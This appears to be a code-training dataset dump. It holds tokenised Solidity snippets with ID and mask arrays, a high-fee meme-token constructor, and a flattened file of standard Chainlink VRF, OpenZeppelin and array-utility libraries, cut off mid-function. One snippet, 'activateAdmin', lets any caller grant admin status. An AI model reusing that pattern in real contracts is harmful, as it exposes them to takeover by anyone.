-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x780380a4BBAA458ACA3DA04e943Bb1cCFd041eac/sources/browser/tests/RARE/Admins.sol
Update OperationsMake Active
function activateAdmin(address _address) public { admins[_address].isActive = true; }
14,171,234
[ 1, 1891, 25938, 6464, 8857, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10235, 4446, 12, 2867, 389, 2867, 13, 1071, 288, 203, 3639, 31116, 63, 67, 2867, 8009, 291, 3896, 273, 638, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xc7aBAB64F7A386da5D7aDF9FD5f10e24B79612EB/sources/contracts/pepio.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("Super Pepio", "PEPIO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 20; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 30; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; maxWallet = totalSupply * 20 / 1000; swapTokensAtAmount = totalSupply * 20 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
17,101,547
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12316, 1435, 4232, 39, 3462, 2932, 8051, 453, 881, 1594, 3113, 315, 1423, 22177, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 4200, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 203, 7010, 2 ]
// Dependency file: @chainlink/contracts/src/v0.6/vendor/SafeMathChainlink.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathChainlink { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Dependency file: @chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol // pragma solidity ^0.6.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // Dependency file: @chainlink/contracts/src/v0.6/VRFRequestIDBase.sol // pragma solidity ^0.6.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // Dependency file: @chainlink/contracts/src/v0.6/VRFConsumerBase.sol // pragma solidity ^0.6.0; // import "@chainlink/contracts/src/v0.6/vendor/SafeMathChainlink.sol"; // import "@chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol"; // import "@chainlink/contracts/src/v0.6/VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { using SafeMathChainlink for uint256; /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * @param _seed seed mixed into the input of the VRF. * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash].add(1); return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) public { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.6.0; // import "@openzeppelin/contracts/GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: contracts/lib/Uint256ArrayUtils.sol // pragma solidity 0.6.10; /** * @title Uint256ArrayUtils * @author Prophecy * * Utility functions to handle uint256 Arrays */ library Uint256ArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(uint256[] memory A, uint256 a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(uint256[] memory A, uint256 a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(uint256[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { uint256 current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The uint256 to remove * @return Returns the array with the object removed. */ function remove(uint256[] memory A, uint256 a) internal pure returns (uint256[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("uint256 not in array."); } else { (uint256[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The uint256 to remove */ function removeStorage(uint256[] storage A, uint256 a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("uint256 not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(uint256[] memory A, uint256 index) internal pure returns (uint256[] memory, uint256) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); uint256[] memory newUint256s = new uint256[](length - 1); for (uint256 i = 0; i < index; i++) { newUint256s[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newUint256s[j - 1] = A[j]; } return (newUint256s, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(uint256[] memory A, uint256[] memory B) internal pure returns (uint256[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; uint256[] memory newUint256s = new uint256[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newUint256s[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newUint256s[aLength + j] = B[j]; } return newUint256s; } /** * Validate uint256 array is not empty and contains no duplicate elements. * * @param A Array of uint256 */ function _validateLengthAndUniqueness(uint256[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate uint256"); } } // Dependency file: contracts/lib/AddressArrayUtils.sol // pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Prophecy * * Utility functions to handle uint256 Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); 